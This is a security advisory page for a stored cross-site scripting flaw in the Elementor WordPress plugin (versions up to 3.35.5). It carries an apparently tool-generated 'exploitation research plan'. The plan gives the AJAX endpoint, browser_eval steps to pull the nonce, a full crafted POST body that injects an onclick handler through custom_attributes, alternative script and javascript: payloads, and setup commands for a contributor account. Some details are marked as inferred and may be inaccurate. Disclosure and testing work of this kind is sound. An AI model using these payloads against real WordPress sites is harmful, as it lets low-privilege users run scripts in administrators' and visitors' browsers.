Elementor Website Builder <= 3.35.5 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Elementor Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.35.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.35.5Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32352 (Elementor Stored XSS) ## 1. Vulnerability Summary **CVE-2026-32352** is a Stored Cross-Site Scripting (XSS) vulnerability in the **Elementor Website Builder** plugin (versions <= 3.35.5). The vulnerability exists because the plugin fails to sufficiently…
Show full research plan
Exploitation Research Plan: CVE-2026-32352 (Elementor Stored XSS)
1. Vulnerability Summary
CVE-2026-32352 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Website Builder plugin (versions <= 3.35.5). The vulnerability exists because the plugin fails to sufficiently sanitize and escape user-provided input within the Elementor editor's widget settings before saving them to the database and subsequently rendering them on the frontend. Specifically, certain widget properties (like custom attributes, URLs, or tag names) allow a Contributor-level user to inject arbitrary JavaScript payloads.
2. Attack Vector Analysis
- Vulnerable Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
elementor_ajax - Internal Action:
save_builder_data(within theelementor_ajaxrequest) - Vulnerable Parameter:
data(specifically theelementsorsettingsJSON structure within the_elementor_datapost meta). - Authentication Level: Authenticated, Contributor or higher. Contributors in WordPress have the
edit_postscapability, allowing them to use the Elementor editor on their own posts. - Preconditions: The Elementor editor must be active for the post type being edited.
3. Code Flow
- Entry Point: A
POSTrequest is sent toadmin-ajax.phpwithaction=elementor_ajax. - AJAX Handler: Elementor's
Ajax::handle_ajax_request(inincludes/ajax.php) receives the request. - Command Execution: The request contains a
commandsobject. Thesave_builder_datacommand is triggered. - Persistence: The
Documents\Base\Document::save_elementsorDocuments\Base\Document::save_settingsmethods are called. The input data (JSON) is processed and saved into the_elementor_datapost meta usingupdate_metadata. - Lack of Sanitization: During the saving process, certain widget-specific settings (inferred: custom HTML tags or link attributes) are not passed through rigorous sanitization filters like
wp_ksesoresc_attr. - Rendering (Sink): When a user (e.g., an Admin) views the page, the
Frontend::get_builder_contentmethod retrieves the saved JSON, parses it, and renders the HTML. The malicious script is echoed directly into the DOM without escaping (e.g., inside an attribute or as part of a raw HTML tag).
4. Nonce Acquisition Strategy
Elementor requires a nonce for its AJAX operations, typically named elementor_ajax_nonce.
- Identify Shortcode/Trigger: Elementor loads its configuration on any page where the editor is active or where Elementor content is rendered.
- Create Test Page:
wp post create --post_type=post --post_title="XSS Test" --post_status=publish --post_author=CONTRIBUTOR_ID --post_content='<!-- wp:elementor/canvas --> ' - Access Editor: Navigate to the Elementor editor for that post:
/wp-admin/post.php?post=POST_ID&action=elementor. - Extract Nonce via Browser:
Usebrowser_evalto extract the nonce from the localized configuration object:browser_eval("window.elementorCommon?.config?.ajax?.nonce")- OR
browser_eval("window.elementorConfig?.ajax?.nonce") - OR
browser_eval("window.elementorConfig?.nonces?.editor")
5. Exploitation Strategy
The goal is to send a crafted JSON payload via the elementor_ajax action to update a post's content with a malicious widget.
Step-by-Step Plan:
- Authenticate: Login as a Contributor.
- Create Post: Create a new post to get a
POST_ID. - Obtain Nonce: Use the strategy in Section 4 to get the
elementor_ajax_nonce. - Craft Payload: Prepare a JSON payload for the
elementor_ajaxrequest. We will target theHeadingwidget'sheader_tagor a widget'scustom_attributes.
HTTP Request (Example Targeting Custom Attributes):
- Method:
POST - URL:
http://TARGET/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
(Note: Theaction=elementor_ajax& _nonce=NONCE_VALUE& actions={"save_builder_data":{"action":"save_builder_data","data":{"status":"publish","elements":[{"id":"id_here","elType":"section","settings":{},"elements":[{"id":"id_2","elType":"column","settings":{},"elements":[{"id":"id_3","elType":"widget","widgetType":"heading","settings":{"title":"Hacked","custom_attributes":"onclick|alert(document.domain) style|display:block;width:100%;height:100px;background:red"},"elements":[]}]}]}]},"id":"POST_ID"}}custom_attributesfield in Elementor often uses a pipe|format:key|value.)
- Trigger Execution: Navigate to the published post URL:
http://TARGET/?p=POST_ID.
6. Test Data Setup
- User: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Elementor Settings: Ensure "Contributor" is allowed to use Elementor (Role Manager in Elementor settings).
# This might be necessary if Elementor restricts the editor to Authors/Admins by default wp option update elementor_role_manager_contributor ""
7. Expected Results
- The AJAX request should return a
200 OKwith a JSON response containing{"success":true,...}. - When viewing the post, the HTML should contain the injected attribute:
<h2 ... onclick="alert(document.domain)" ...>. - Clicking or hovering (depending on the attribute) should trigger the JavaScript alert.
8. Verification Steps
- Check Database: Verify the payload is stored in the post meta.
wp post meta get POST_ID _elementor_data - Search for Payload:
wp post meta get POST_ID _elementor_data | grep "alert(document.domain)"
9. Alternative Approaches
If custom_attributes is sanitized in version 3.35.5, target the html_tag property of the Heading or Text Path widgets:
- Payload: Change
settingsto{"title":"XSS", "header_tag":"script src=data:,alert(1)//"}. - Some Elementor widgets allow raw HTML if the user has
unfiltered_html, but Contributors do not. This vulnerability bypasses that restriction by finding a field that should be escaped for Contributors but isn't. - Check Video Widget: Inject into the
external_urlorvimeo_urlusingjavascript:alert(1).
Summary
The Elementor Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to 3.35.5. Contributor-level attackers can use the Elementor editor's AJAX interface to save malicious widget settings, such as 'custom_attributes' or 'header_tag', which are rendered without proper sanitization on the frontend.
Exploit Outline
1. Authenticate as a Contributor-level user and identify a post that can be edited with Elementor. 2. Obtain a valid Elementor AJAX nonce by inspecting the 'window.elementorConfig' object in the browser context of the editor. 3. Construct a POST request to '/wp-admin/admin-ajax.php' with the 'action' set to 'elementor_ajax' and the '_nonce' parameter populated. 4. Include a 'save_builder_data' command in the 'actions' parameter, containing a JSON structure for a widget (e.g., 'heading') where settings like 'custom_attributes' or 'header_tag' contain malicious JavaScript (e.g., 'onmouseover|alert(document.domain)'). 5. Submit the request and then view the published post to trigger the script execution in the context of the user's browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.